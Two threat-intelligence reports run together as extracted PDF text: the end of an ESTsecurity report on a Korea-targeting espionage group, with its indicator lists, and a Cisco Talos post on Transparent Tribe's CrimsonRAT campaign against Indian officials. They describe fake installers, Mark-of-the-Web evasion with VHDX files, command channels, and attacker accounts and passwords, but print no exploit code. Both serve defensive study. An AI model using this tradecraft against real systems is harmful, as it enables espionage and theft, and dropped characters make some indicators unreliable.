https://chinese.pandarow.com/dict/E5A4AAE5A5BDE4BA86-taihaole https://chinese.pandarow.com/dict/E5A4AAE5A5BDE4BA86-taihaole Security Response Center                                                                                          22 [Figure 12] Encoded C2 and Mutex in English expression of Chinese The malware disguised as a popular Chinese security program has been identified in January of 2018.
It is a different case from the one disguising as an existing Korean security program.
The attacker added a fake screen to the Korean website ebsmpi.com as if it were a 360 TOTAL SECURITY security program web page in China.
It copied the source code of the website operated in China and replaced the downloaded file with the malicious files.
The linked addresses are as follows, and when clicking the Free Download link, the file 360TS_Setup_Mini.exe is downloaded.
-
http://ebsmpi.com/ipin/360/down[.
]php Security Response Center                                                                                          23 [Figure 13] Infecting ebsmpi.com website in Korea and adding the screen It disguises the file name (360TS_Setup_Mini.exe) like the security program in China, and the icon also camouflages Security Response Center                                                                                          24 the normal program.
The additional .Net-based malicious file is installed depending no environmental conditions.
ESRC identified in August 2018 that the encryption algorithm is 100 identical to the vector technique of the attack disguising as the Korean portal program [Figure 14] Comparison of malicious files disguised as a Chinese security program and normal file - http://ebsmpi.com/ipin/360/Ant_3.5[.
]exe (MD5 : ff32383f207b6cdd8ab6cbcba26b1430) - http://ebsmpi.com/ipin/360/Ant_4.5[.
]exe (MD5 : 84cbbb8cdad90fba8b964297dd5c648a) - http://ebsmpi.com/ipin/360/desktops[.
]ini (MD5 : ab2a4537c9d6761b36ae8935d1e5ed8a) - http://cgalim.com/admin/hr/temp[.
]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) The normal 360TS_Setup_Mini.exe file is installed in the domain cgalim.com with the file name temp.set, which is also used for a similar infringement attack discovered in Second half of the year.
Security Response Center                                                                                          25 [Figure 14-1] 360TS_Setup_Mini.exe installing the normal file Initial malicious files based on .Net include the following PDB paths, some of which are omitted from the latest variants.
-
E:\project\windows\Rocket\Ant\Api\PubnubApi\obj\Debug\net35\Pubnub.pdb - E:\project\windows\Rocket\Sys-Guard\Servlet-standalone_Guard\Release\Servlet.pdb - E:\project\windows\Rocket\Sys-Guard\Chutty_Guard\Release\Chutty.pdb - E:\project\windows\Rocket\Servlet\Release\Servlet.pdb - E:\project\windows\Rocket\Ant_4.5\Ant\obj\Release\Ant.pdb ESRC has verified that when executing the malicious file, they download the normal programs from another infected server to trick users believing into the normal program is running.
The C2 server overlaps with the hosts, which are detected from the distribution of Android malicious application (1.apk) and the bitcoin related bitcoin-trans.doc (MD5: 8ab2819e42a1556ba81be914d6c3021f) malicious file.
-
http://cgalim.com/admin/hr/hr[.
]doc (MD5 : 24fe3fb56a61aad6d28ccc58f283017c) - http://cgalim.com/admin/hr/1[.
]apk (MD5 : 9525c314ecbee7818ba9a819edb4a885) - http://cgalim.com/admin/hr/temp[.
]set (MD5 : fa39b3b422dc4232ef24e3f27fa8d69e) The domain cgalim.com left traces that show the variant file is distributed in /1211me/ as well as the subpath /hr/.
Security Response Center                                                                                          26 The group conducted a watering hole attack against North Korean organizations in 2015 and 2016.
The attackers were actively exploiting flash player vulnerabilities for the attack.
North Korea-related news sites and web sites have been mainly targeted by the threat, and lasts for several months.
The following is a malicious object added to the infected website.
[
Figure 15] Flash player vulnerability code used for watering hole attack The hacking group exploited the latest Flash player vulnerabilities CVE-2015-5119 and CVE-2015-0313 in 2015, and Flash Player CVE-2015-5119 vulnerability leaked from the server hacking attack performed by Italian Hacking Team.
The group has used KakaoTalk Messenger to selectively target victims and carried out the attack exploiting the CVE- 2018-4878 Flash Player Zero-day vulnerability since late 2017.
-
G:\FlashDeveloping\mstest\src (CVE-2014-8439) - G:\FlashDeveloping\20148439\src (CVE-2014-8439) - G:\FlashDeveloping\Main\src\ (CVE-2015-0313) - G:\FlashDeveloping\2015-3090\src (CVE-2015-3090) - G:\FlashDeveloping\20153105\src (CVE-2015-3105) - G:\FlashDeveloping\20155119\src (CVE-2015-5119) - G:\FlashDeveloping\chrome_ie\src (CVE-2015-5119) Security Response Center                                                                                          27 In case that the additional malware downloaded by the Flash Player Vulnerability (SWF) fails to execute administrator privileges via User Account Control, a fake error message of hard disk pops up after about 5 minutes.
It manipulates as backup process and re-execute the malware with administrator privilege CMD command.
Some Korean expressions observed were identical to the English computer expression (prose, program) used in North Korea.
[
Figure 16] Fake error message containing a North Korean expression of computer terminology The C2 communication method has evolved over the years.
In the earliest days, America Online Instant Messenger (AIM) Oscar protocol was used for Command and Control.
The encrypted communication proceeds with the AIM Messengers account and password, which is English characters typed on Korean keyboard.
The initially used PDB path shows it is developed in the AOL folder.
-
fastcameron13 / powercooper00 / dPfWlsRkapfns19 ( 19) - F:\Program\svr_install\Release\svr_install.pdb - F:\Program\Aol\Release\ServiceDll1.pdb Security Response Center                                                                                          28 [Figure 17] Using AIM Messenger as C2 When communicating with AIM Messenger, the attacker uses the login account and password, and sends the encrypted message to another account user after the connection is completed.
When the device is infected, the encrypted messages such as computer information and additional commands will be transmitted, and various accounts have been used.
Attackers mainly have the following accounts such as aol.com, hotmail.com, yahoo.com, india.com, inbox.com, gmail.com and zmail.ru and created and used the other variants.
-
allmothersorg11hotmail.com - allmothersorghotmail.com - blueloveindia.com - cmostenda01yahoo.com Security Response Center                                                                                          29 - cmostenda102yahoo.com - cmostenda103yahoo.com - daum14401zmail.ru - dapplecom2013yahoo.com - eatleopard00inbox.com - fastcameron00 - fastcameron11 - fastcameron13 - fatpigfarmshotmail.com - fatpigs9009hotmail.com - friendleopard00aol.com - ganxiangu04hotmail.com - ganxiangu07hotmail.com - greatvictoria84 - greatvictoria85 - greatvictoria86 - greatvictoria87 - hatmainmanhotmail.com - hatwoman40hotmail.com - jinmeng288gmail.com - minliu231gmail.com - Okokeiindia.com - pghlsn333gmail.com - prettysophia00 - prettysophia47 - prettysophia48 - prettysophia49 - prettysophia50 - prettysophia51 - prettysophia52 - prettysophia53 - prettysophia54 - prettysophia55 - prettysophia56 Security Response Center                                                                                          30 - prettysophia57 - tosarang87gmail.com - winpos1000zmail.ru - winpos1001zmail.ru - winpos1002zmail.ru - winpos1003zmail.ru - winpos1004zmail.ru - xiangangxu88hotmail.com - zum36084gmail.com - zum36084zmail.ru - zum36085zmail.ru The emails such as zum36084gmail.com, zum36084zmail.ru, daum14401zmail.ru were generated and they were sent as a test in early 2016.
Investigations based on IoA (Indicators of Attack) reveal that an attacker has set up a zum36084gmail.com email to disguise as Google Account Team, and they have used Hangul from the beginning.
Security Response Center                                                                                          31 [Figure 18] Testing after generating the emails for the attack Emails sent as a test Mar 03, 2016 attached the 0303_zmail.gif file, which is the malicious file of EXE format that is encrypted by 2 steps such as XOR 0x69 key.
The decrypted malicious file is set to infect only a specific computer name, which includes Korean name and the name of a journalist from a specific press.
- -
WOOSEONG-PC - T-PC Security Response Center                                                                                          32 Some variants check the following accounts.
For example, the name of SEIKO computer is often identified in IOCs.
In particular, when using the HWP document file vulnerability, it matches the account of the last writer, and has been identified in the infection logs of 175.45.178.133.
- [] -
KIM[Administrator] - JAMIE[Jamie Kim] - DONGMIN[MinSk] - T-PC[T] - YONGJA-PC - USER - sec - CRACKER-PC - SEIKO The following sites are bookmarked by the users as follows in the infection log of SEIKO account.
Windows IP Configuration Host Name . . . . . . . . . . . . :
SEIKO-PC Primary Dns Suffix  .
. . . . . . :
Node Type . . . . . . . . . . . . :
Hybrid IP Routing Enabled. . . . . . . . :
No WINS Proxy Enabled. . . . . . . . :
No Ethernet adapter Ethernet: Connection-specific DNS Suffix  .
:
Description .
. . . . . . . . . . :
Realtek PCIe FE Family Controller Physical Address.
. . . . . . . . :
F0-DE-F1-A1-96-C3 DHCP Enabled.
. . . . . . . . . . :
No Autoconfiguration Enabled . . . . :
Yes IPv4 Address.
. . . . . . . . . . :
175.45.178.133(Preferred) Security Response Center                                                                                          33 Subnet Mask .
. . . . . . . . . . :
255.255.255.240 IPv4 Address.
. . . . . . . . . . :
192.168.0.135(Preferred) Subnet Mask .
. . . . . . . . . . :
255.255.255.0 Default Gateway .
. . . . . . . . :
192.168.0.1 175.45.178.129 Directory of c:\users\SEIKO\Favorites\Links\mail 2016-04-24   06:13               150 126?.url 2016-04-24   06:13               213 163?.url 2016-04-24   06:13               808 AOL Mail.url 2016-04-24   06:13               265 Gmail.url 2016-04-24   06:13               837 Hotmail.url 2016-04-24   06:13               152 Inbox.url 2016-04-24   06:13               183 India.url 2016-04-24   06:13               466 Yahoo mail.url 2016-04-24   06:13               218 zmail.url Directory of c:\users\SEIKO\Favorites\Links\ 2016-04-24   06:13               112 FN .URL 2016-04-24   06:13               115 Sputnik.
URL 2016-04-24   06:13               110 .URL 2016-04-24   06:13               109 .URL 2016-04-24   06:13               114 .URL 2016-04-24   06:13               113 .URL 2016-04-24   06:13               151 .URL Directory of f:\2_Program\Orbis_zmail\Debug 2016-01-16   12:11                 0 F0DEF1A196C3_C.zip 2016-01-16   12:30         2,293,380 F0DEF1A196C3_E.zip 2016-01-16   12:30        12,827,289 F0DEF1A196C3_F.zip 2016-01-16   09:16                22 F0DEF1A196C3_D.zip 2016-02-15   10:28         5,914,135 F0DEF1A196C3_G.zip Security Response Center                                                                                          34 In addition, the computer that satisfies the condition decrypts the encrypted code inside with XOR 0x55 key, and generates it as conhost.exe filename and executes it.
For instance, the conhost.exe file communicates with AOL Messenger.
[
Figure 19] The code to communicate with AOL Messenger Security Response Center                                                                                          35 It is noteworthy that the password code (dPQmsThvldk1987), which is used to log in to AOL Messenger, will be converted to 1987 (PrettySopia1987) in Korean when typing it with Hangul keyboard.
Attackers also use multiple Chinese expressions in AOL messenger communication.
Another variant uses the Dajiahao code as the mutex key, which means Hello everyone in Chinese.
dPfWlsRkapfns19 is used as the password for the AOL login account and it is changed to 19 (YelchinKermelon19) in Korean when typing with Korean keyboard.
[
Figure 20] Chinese greeting and Korean-convertible password Security Response Center                                                                                          36 Many variants are found in various forms.
In case of SEIKO computer name, the following PDB path is observed and emails like zum36085zmail.ru, pghlsn333gmail.com were used.
-
F:\2_Program\Orbis_zmail\Release\RecvTest_zmail.pdb The following PDB paths are identified in similar variants: - F:\2_Program\Orbis_academia\Release\RecvTest_zmail.pdb - F:\2_Program\Orbis_academia\Release\Recv_Pwd_2_India.pdb [Figure 21] PDB code with Zmail test information ESRC has been able to detect the attack technique aimed at an unspecified number of people in addition to the APT target attacks.
The attackers infect users by injecting the malware in illegal software by subscribing to the Korean torrent website.
Namely, they distribute the famous commercial software illegally after inserting malware inside.
Attackers have earned points as follows from the Korean torrent site, and they actively uploaded files and posted comments as well.
Security Response Center                                                                                          37 [Figure 22] Activity History in Korean torrent site Time Series Analysis of Geumseong12 Group The attackers hacked the Korean website and used it as C2 server for a while after using the AOL Messenger communication technique in the first half of 2013.
However, they may have discovered that the technique is lack of continuous availability after the websites are detected and quickly shut down by the security providers and managers.
After a while, they created a variant with excellent sustainability, exploiting the AOL Messenger communication technique.
After that, the infected WordPress-based websites were mainly used it as a watering hole attack base.
They mainly used Flash player vulnerability files and Streamnation cloud account, which is a personal media hub service, in attacks using the WordPress websites.
The attackers continued to use the AOL messenger for the attacks, but they chose WordPress websites as a C2 server for mediation server of spear phishing and watering hole attacks.
In the meantime, as the Streamnation service is closed in February 2016, the attackers launched the testing for zmail.ru service since the end of January 2016, which they had been continuously used before.
Security Response Center                                                                                          38 As such, the attackers attempted to change to the new C2 server system by introducing the zmail.ru service and start to introduce pCloud service with the AOL messenger communication.
When creating a cloud service account, they use free email services not only in Korea but also in countries such as the US, China, India, and Russia.
As attack tactics have changed over time, CVE-2018-4878 vulnerability files have been sent to specific targets that had not been added to friends via KakaoTalk messages, and Android malicious apps targeting smartphone users have also been found.
The DOC document vulnerability attack on cryptocurrency was first reported overseas at the end of 2017.
In addition, the attackers are steadily upgrading attack technologies such as distribution of malware disguising as security programs in Korea and China or infecting users via Torrent.
[
Changes in C2 techniques according to Time Series] March 26, 2013: AOL messenger service April 20, 2013: Communication with a specific website in Korea July 10, 2015: WordPress Website Communication July 14, 2015: Streamnation Personal Cloud Service August 09, 2015: Streamnation Personal Cloud Service February 09, 2016: Official end of Streamnation Personal Cloud Service April 11, 2016: Pcloud Personal Cloud Service December 15, 2017: Official end of AOL Messenger service December 12, 2017: PubNub IaaS Service January 16, 2018: PubNub laaS Service February 23, 2018: PubNub IaaS Service August 14, 2018: PubNub IaaS Service Security Response Center                                                                                          39 [Figure 23] C2 communication that changes with time Security Response Center                                                                                          40 Conclusion 03 - Persistent Threat Security Response Center                                                                                          41 Special Report Conclusion Persistent Threat In addition to the previous cases, similar infringement using the same IoC code or metadata has been discovered for many years in Korea, and ESRC is constantly pursuing the change process.
Further details will be available on Threat Inside, which is the service scheduled to be launched from the second half of the year.
IoCs and the specialized intelligence report are provided to corporate customers via Threat Inside.
Security Response Center                                                                                          42 Special Report Indicator of Compromise (IoC) Press Resources Fake AV Investigation Unearths KevDroid, New Android Malware https://blog.talosintelligence.com/2018/04/fake-av-investigation-unearths-kevdroid.html Reaper Groups Updated Mobile Arsenal https://researchcenter.paloaltonetworks.com/2018/04/unit42-reaper-groups-updated-mobile-arsenal/ rtf https://s.tencent.com/research/report/274.html 14 , https://www.boannews.com/media/view.asp?idx72235 File name .zip .hwp denk.zip 360TS_Setup_Mini.exe bitcoin-trans.doc 1.apk conhost.exe Malware MD5 af6721145079a05da53c8d0f3656c65c 1213e5a0be1fbd9a7103ab08fe8ea5cb edc1bdb2d70e36891826fdd58682b6c4 b710e5a4ca00a52f6297a3cc7190393a 05eef00de73498167b2d7ebdc492c429 ff32383f207b6cdd8ab6cbcba26b1430 84cbbb8cdad90fba8b964297dd5c648a ab2a4537c9d6761b36ae8935d1e5ed8a fa39b3b422dc4232ef24e3f27fa8d69e Security Response Center                                                                                          43 8ab2819e42a1556ba81be914d6c3021f 24fe3fb56a61aad6d28ccc58f283017c 9525c314ecbee7818ba9a819edb4a885 fa39b3b422dc4232ef24e3f27fa8d69e Domain http://endlesspaws.com/vog/tan[.
]php?fuckx http://endlesspaws.com/vog/denk[.
]zip seline.co.kr/datafiles/CNOOC[.
]php www.causwc.or.kr/board_community01/board_community01/index2[.
]php www.kumdo.org/admin/noti/files/iindex[.
]php www.icare.or.kr/upload/board/index1[.
]php cnjob.co.kr/data/blog/iindex[.
]php notac.co.kr/admin/case/iindex[.
]php http://ebsmpi.com/ipin/360/down[.
]php http://cgalim.com/admin/hr/hr[.
]doc IP address 175.45.178.133 Mutex name taihaole9366 CVE CVE-2017-8759 CVE-2015-5119 CVE-2014-8439 CVE-2015-0313 CVE-2015-3090 CVE-2015-3105 CVE-2015-5119 String Haizi LiuJin srvrlyscss  Security Response Center                                                                                          44  fastcameron13 powercooper00 dPfWlsRkapfns19 ( 19) dPQmsThvldk1987 ( 1987) [] KIM[Administrator] JAMIE[Jamie Kim] DONGMIN[MinSk] T-PC[T] YONGJA-PC USER sec CRACKER-PC SEIKO Security Response Center                                                                                          45 The content of the report or any part of it shall not be cited, reproduced, copied, stored or transmitted to third parties without a prior written consent of ESTsecurity.
ESTsecurity Response Center https://www.estsecurity.com/ esrcestsecurity.com https://www.estsecurity.com/ mailto:esrcestsecurity.com
1/23 Transparent Tribe campaign uses new bespoke malware to target Indian government officials blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html By Asheer Malhotra and Justin Thattil with contributions from Kendall McKay.
Cisco Talos has observed a new Transparent Tribe campaign targeting Indian government and military entities.
While the actors are infecting victims with CrimsonRAT, their well-known malware of choice, they are also using new stagers and implants.
This campaign, which has been ongoing since at least June 2021, uses fake domains mimicking legitimate government and related organizations to deliver malicious payloads, a common Transparent tribe tactic.
Based on our analysis of Transparent Tribe operations over the last year, the group has continued to change its initial entry mechanisms and incorporate new bespoke malware, indicating the actors are actively diversifying their portfolio to compromise even more victims.
Notably, the adversary has moved towards deploying small, bespoke stagers and downloaders that can be easily modified, likely to enable quick and agile operations.
Transparent Tribe deploys new implants Transparent Tribe, also known as APT36 and Mythic Leopard, continues to create fake domains mimicking legitimate military and defense organizations as a core component of their operations.
In the latest campaign conducted by the threat actor, Cisco Talos observed https://blog.talosintelligence.com/2022/03/transparent-tribe-new-campaign.html https://twitter.com/asheermalhotra https://twitter.com/ThattilJustin https://twitter.com/kkmckay22 https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html 2/23 multiple delivery methods, such as executables masquerading as installers of legitimate applications, archive files and maldocs to target Indian entities and individuals.
These infection chains led to the deployment of three different types of implants, two of which we had not previously observed: CrimsonRAT: A remote access trojan (RAT) family that Transparent Tribe frequently uses to conduct espionage operations against their targets.
A previously unknown Python-based stager that leads to the deployment of .NET-based reconnaissance tools and RATs.
A lightweight .NET-based implant to run arbitrary code on the infected system.
This campaign also uses fake domains mimicking legitimate government and pseudo- government organizations to deliver malicious payloads, a typical Transparent Tribe tactic.
Threat actor profile Transparent Tribe is a suspected Pakistan-linked threat actor.
This group targets individuals and entities associated with governments and military personnel in the Indian subcontinent, specifically Afghanistan and India.
Transparent Tribe has also been known to use their CrimsonRAT implant against human rights activists in Pakistan.
The group primarily uses three Windows-based malware families to carry out espionage activities against their targets.
CrimsonRAT is a .NET-based implant that has been the groups malware of choice since at least 2020 .
Transparent Tribes multiple campaigns leveraging CrimsonRAT over the years indicate a steady evolution in the implants capabilities.
ObliqueRAT is a C/C-based implant discovered by Talos in early 2020.
ObliqueRAT is primarily reserved for highly targeted attacks on government personnel and in operations where stealth is a prime focus of the attackers infection chain.
This implant has also seen a constant evolution in deployment tactics and malicious functionalities over time.
Custom malware used by Transparent Tribe consists of easily and quickly deployable downloaders, droppers and lightweight RATs containing limited capabilities as opposed to CrimsonRAT and ObliqueRAT.
Transparent Tribe also maintains a suite of mobile implants in their arsenal.
Implants such as CapraRAT are constantly modified to be deployed against targets.
These implants contain a plethora of malicious capabilities meant to steal data from mobile devices.
https://www.amnesty.org/en/documents/asa33/8366/2018/en/ https://malpedia.caad.fkie.fraunhofer.de/details/win.crimson https://blog.talosintelligence.com/2020/02/obliquerat-hits-victims-via-maldocs.html https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html https://www.trendmicro.com/en_us/research/22/a/investigating-apt36-or-earth-karkaddans-attack-chain-and-malware.html 3/23 Downloader executables Talos observed the use of downloader executables containing different lures related to the Indian government.
Themes included topics related to COVID-19, resumes and installers for government applications, such as the Kavach multi-factor authentication (MFA) application.
Latest variant The latest downloaders primarily masquerade as installers for Kavach and are distributed for delivering malicious artifacts to targets.
Kavach is widely used by government personnel, as it allows employees (including military personnel) to access the Indian governments I.T.
resources, such as email services.
The droppers are .NET-based executables.
They begin execution by checking if the timezone on the infected endpoint contains keywords such as India.
A splash screen is displayed to the victim notifying them that the Kavach application is being installed: Fake installation splash screen The downloaders will then reach out to a malicious website, masquerading as a legitimate Indian government or pseudo-government entity, to download a malicious payload that is then activated on the endpoint.
4/23 Next, download a legitimate copy of the Kavach applications MSI installer from yet another attacker-controlled website and execute it to make the whole attack chain appear legitimate.
Downloader fetching and executing malicious payload and legitimate installer for Kavach.
Additional variant Another variation of the initial infection vector used in the campaign is a notably large downloader binary (141MB) that contains the entire legitimate installer (MSI) for the Kavach application in its resources.
The zipped copy of the MSI is extracted from the downloaders resources and executed on the system as a decoy to appear legitimate to the targets.
The actual implant is then downloaded from a remote location, AES-decrypted using a hardcoded key, written to disk and executed on the infected endpoint.
5/23 The second variant of the downloader downloads and decrypts the payload from a remote location.
A timeline of older variants As early as June 2021, the attackers primarily used malicious documents (maldocs) as an initial infection vector to deliver the malicious downloaders.
This vector consisted of a malicious macro that would download and activate the downloader on the infected endpoint.
This practice continued into July 2021.
However, beginning with June 2021, there was also a steady evolution in the distribution tactics used in this campaign.
Around this time, we began observing the use of non- traditional initial entry mechanisms throughout the course of this campaign, suggesting a clear intention of aggressively infecting targets for espionage.
For instance, in June 2021, the attackers used IMG files for distribution, containing multiple infection artifacts  all COVID-19 themed  to trick targets into getting infected.
Wrapping malware in IMG files is a tactic gaining traction with crimeware operators and APTs as a way to deliver malware to victims since newer versions of the Windows OS natively support IMG files.
Malicious IMG distributed by Transparent Tribe.
The malicious image consists of four files: Malicious Python-based stager.
Decoy PDF document containing a COVID-19-themed lure.
VBS file for executing the stager and displaying the decoy.
Malicious LNK file for activating the VBS on the endpoint.
6/23 7/23 In September 2021, the actors switched up their initial infection artifact and used VHDX files delivering the malicious droppers.
VHDX files do not retainMark Of the Web (MOTW) stamps and thus artifacts such as maldocs, delivered through these wrappers arent identified as originating from the internet by Microsoft utilities such as Word, Excel etc.
-
allowing the attackers to run malicious code on the endpoint without any Microsoft warnings.
The variant of the downloaders used here, previously disclosed by Cyble, masqueraded as an app from the Canteen Stores Department (CSD) of the Government of India.
On execution, this variant would open the legitimate website for CSD on the targets system.
However, as seen previously with Transparent Tribe, the threat actors continued the development of similar infection chains consisting of various themes to distribute their malware without regard for any previous public disclosures.
The threat actor then introduced the use of RAR archives to distribute malicious malware in November 2021.
The RAR archive consisted of the downloader, this time downloading a highly specific decoy PDF containing the work history of an Indian government official.
The RAR archives are typically password-protected and hosted on public media sharing websites.
Therefore, it is highly likely that Transparent Tribe used spearphishing emails to deliver download URLs for the archives to their targets via emails containing the passwords for the archives.
Timeline of evolution of entry vectors: https://insights.sei.cmu.edu/blog/the-dangers-of-vhd-and-vhdx-files/ https://docs.microsoft.com/en-us/archive/blogs/ie/mark-of-the-web https://blog.cyble.com/2021/09/14/apt-group-targets-indian-defense-officials-through-enhanced-ttps/ http://csdindia.gov.in/ 8/23 Implant analyses CrimsonRAT CrimsonRAT is a popular malware RAT implant that consists of a wide variety of capabilities.
It is the staple implant of choice for Transparent Tribe to establish long-term access into victim networks.
This RAT is actively worked upon and has seen considerable updates over the years in not just the development of new capabilities, but also to obfuscate the implant by the APT group.
The latest version of CrimsonRAT seen in this campaign in January and February 2022 contains a number of capabilities, including: List files and folders in a directory path specified by the C2.
Run specific processes on the endpoint  keylogger and USB modules.
List process IDs and names running on the endpoint.
Get information such as name, creation times and size of image files (pictures such as BMP, JPG etc.)
specified by the C2.
Take screenshots of the current screen and send it to C2.
Upload keylogger logs from a file on disk to the C2.
9/23 Send system information to C2 including: Computername, username, Operating System name, filepath of implant, parent folder path.
Indicator of whether the keylogger module is in the endpoint and running and its version.
Indicator of whether the USB module is in the endpoint and running and its version.
Run arbitrary commands on the system.
Write data sent by C2 to a file on disk.
Read contents of a file on disk and exfiltrate to C2.
List all drives on the system.
List all files in a directory.
Download the USB worm and keylogger modules from the C2 and write them to disk.
Send a files name, creation time and size to the C2- file path is specified by the C2.
Delete files specified by the C2 from the endpoint.
Get names, creation times and size of all files containing the file extension specified by the C2.
10/23 Code Snippet: CrimsonRAT command handler.
Seen in: Jan-Feb 2022: Deployed by Kavach-themed downloaders.
Lightweight implant A new lightweight, .NET-based implant was also seen in this campaign in several infection chains.
This implant has limited capabilities when compared to CrimsonRAT but contains enough functionality to control and monitor the infected system.
Capabilities include: List all running processes on the endpoint.
Download and execute a file from the C2.
Download and execute a file specified by the C2 from another remote location.
11/23 Close connection with the C2 until the next run.
Gather system information from the endpoint such as Computer Name, username, public and local IPs, Operating system name, list of runnings AVs, device type (desktop or laptop).
The implant also persists via an InternetShortcut in the current users Startup directory.
Implant downloading and executing a file from a remote location.
Seen in: Jan-Feb 2022: Deployed by Kavach-themed downloaders.
November 2021: Seen in infection chains using RAR archives hosted on CMS.
September 2021: Deployed by CSD-themed downloaders.
Python-based stagers Weve also observed the use of Python-based stagers throughout this campaign.
These stagers are pyinstaller-based EXEs and consist of the following functionalities: Collect system information from the endpoint consisting of all running process names, computername and OS name and send it to a remote C2 URL.
Drops one of two embedded files: A malicious DLL used to activate a recon tool in the current users Startup folder based on whether the endpoint is Windows 7 or not.
Parse responses from the C2 to obtain data that is then written to a file to disk.
All the relevant information used in the functioning of the stager is kept in a separate Python file.
12/23 Stager configuration information.
Seen in: June 2021: Maldocs.
June 2021: IMG files.
Embedded implant The embedded implants deployed by the python based stager will simply activate a malicious DLL existing on disk by loading and running it in the embedded implants process.
The DLL loaded is the actual malicious reconnaissance tool used by the attackers.
Recon tool The DLL implant will first send a beacon to the C2 server URL to indicate that it has been successfully deployed.
The C2 server must reply with a specific keyword such as onlyparanoidsurvive for the implant to start accepting commands from another C2 URL.
The implant will first send a list of all files in the current users Cookie directory to the C2.
In response, the C2 may send the senddevices command to the implant.
If this command is received, the implant will send the following data to a third C2 URL: OS Caption from CIM_OperatingSystem.
All local IP addresses of the infected endpoint.
Device type  desktop or laptop.
Product version of the executable in which the DLL has been loaded.
13/23 Implant gathering system information for exfiltration to the C2.
The implant will then proceed to get executables from the remote C2 server that are then executed on the infected endpoint.
14/23 Helper DLL used to execute binaries on the endpoint.
Targeting and attribution This campaign saw the use of multiple types of lures and decoys to target Indian government personnel.
This is a targeting tactic typical of groups operating under the Pakistani nexus of APT groups, such as Transparent Tribe and SideCopy.
For example, in July 2021, we saw the attackers use themes related to the 7th Indian Central Pay Commission (7th CPC) for government employees in maldocs to deliver the Python- based stager that deployed malware on the infected endpoints.
Transparent Tribe will frequently use the 7th CPC as a topic of interest to trick victims into opening maldocs and infecting themselves.
https://blog.talosintelligence.com/2021/07/sidecopy.html 15/23 Maldoc with 7th CPC themes.
We also saw the use of COVID-themed lures and decoys containing advisories primarily targeting employees of the government of India.
This is another tactic that the Transparent Tribe has utilized in past operations.
https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html 16/23 COVID-19-themed decoy used against government employees.
Over the past year, we have observed this threat actor heavily utilize womens resumes to target individuals of interest.
This is inline with their tactic of honey trapping targets by using such malicious resumes and executables that display alluring pictures.
This campaign, however, used a similar yet distinct theme.
Instead of resumes, we observed the use of a decoy document in November 2021 that detailed a male Indian Ministry of Defence (MoD) employees work experience.
https://www.mod.gov.in/ https://www.mod.gov.in/ https://www.mod.gov.in/ 17/23 Service history of an MoD official used as a lure/decoy.
Another TTP used by Transparent Tribe in their operations is the cloning of legitimate websites into fake ones owned and operated by the attackers.
These fake websites are used along with typo-squatted or similarly spelled domains to appear legitimate but serve malicious artifacts as part of the attackers infection chains.
One such example in this campaign is the malicious domain dsoi[.
]info.
This domain is a direct copy of the legitimate website of the Defence Service Officers Institute (DSOI) of India, created by cloning content using HTTrack, a free website copier program.
Weve seen this tactic (cloning legitimate websites using HTTrack) used by Transparent Tribe in the past to deliver ObliqueRAT malware payloads around mid-2021.
https://dsoi.org.in/ https://dsoi.org.in/ https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html 18/23 Transparent Tribe commonly uses malicious artifacts against Indian targets, masquerading as legitimate applications maintained by the government of India.
In September 2021, Talos disclosed Operation Armor Piercer, which consisted of the use of themes pertaining to the Kavach MFA application to spread commodity RATs.
The SideCopy APT group also uses trojans such as MargulasRAT pretending to be a VPN application for Indias National Informatics Centre (NIC).
This new campaign from Transparent Tribe also saw fake installers for the Kavach application being used to deploy CrimsonRAT and other malware.
The use of CrimsonRAT in operations such as these is expected of Transparent Tribe.
It has been seen in the wild for years and is the tool of choice for the threat actors in campaigns that cast a relatively wide net for targeting their victims.
This is unlike ObliqueRAT, which is used in highly targeted operations by Transparent Tribe.
The use of new bespoke malware in addition to the RATs indicates the group is diversifying their malware portfolio to achieve an even greater degree of success.
In another common trend, we have also observed Transparent Tribe quickly develop and deploy bespoke, small and lightweight stagers and downloaders that can be modified with relative ease (and discarded if needed), leading to the deployment of their actual implants meant to provide long term access into their targets networks and systems.
Conclusion Transparent Tribe has been a highly active APT group in the Indian subcontinent.
Their primary targets have been government and military personnel in Afghanistan and India.
This campaign furthers this targeting and their central goal of establishing long term access for espionage.
The use of multiple types of delivery vehicles and file formats indicates that the group is aggressively trying to infect their targets with their implants such as CrimsonRAT.
They have continued the use of fake domains masquerading as government and quasi- government entities, as well as the use of generically themed content-hosting domains to host malware.
Although not very sophisticated, this is an extremely motivated and persistent adversary that constantly evolves tactics to infect their targets.
Organizations should remain vigilant against such threats, as they are likely to proliferate in the future.
In-depth defense strategies based on a risk analysis approach can deliver the best results in the prevention.
However, this should always be complemented by a good incident response plan which has been not only tested with tabletop exercises and reviewed and improved every time its put to the test on real engagements.
Coverage Ways our customers can detect and block this threat are listed below.
https://blog.talosintelligence.com/2021/09/operation-armor-piercer.html https://blog.talosintelligence.com/2021/07/sidecopy.html https://www.nic.in/ 19/23 Cisco Secure Endpoint (formerly AMP for Endpoints) is ideally suited to prevent the execution of the malware detailed in this post.
Try Secure Endpoint for free here.
Cisco Secure Web Appliance web scanning prevents access to malicious websites and detects malware used in these attacks.
Cisco Secure Email (formerly Cisco Email Security) can block malicious emails sent by threat actors as part of their campaign.
You can try Secure Email for free here.
https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/index.html https://www.cisco.com/c/en/us/products/security/amp-for-endpoints/free-trial.html?utm_medium3Dweb-referral?utm_source3Dcisco26utm_campaign3Damp-free-trial26utm_term3Dpgm-talos-trial26utm_content3Damp-free-trial https://www.cisco.com/c/en/us/products/security/web-security-appliance/index.html https://www.cisco.com/c/en/us/products/security/email-security/index.html https://www.cisco.com/c/en/us/products/security/cloud-mailbox-defense?utm_medium3Dweb-referral26utm_source3Dcisco26utm_campaign3Dcmd-free-trial-request26utm_term3Dpgm-talos-trial 20/23 Cisco Secure Firewall (formerly Next-Generation Firewall and Firepower NGFW) appliances such as Threat Defense Virtual, Adaptive Security Appliance and Meraki MX can detect malicious activity associated with this threat.
Cisco Secure Malware Analytics (Threat Grid) identifies malicious binaries and builds protection into all Cisco Secure products.
Umbrella, Ciscos secure internet gateway (SIG), blocks users from connecting to malicious domains, IPs and URLs, whether users are on or off the corporate network.
Sign up for a free trial of Umbrella here.
Cisco Secure Web Appliance (formerly Web Security Appliance) automatically blocks potentially dangerous sites and tests suspicious sites before users access them.
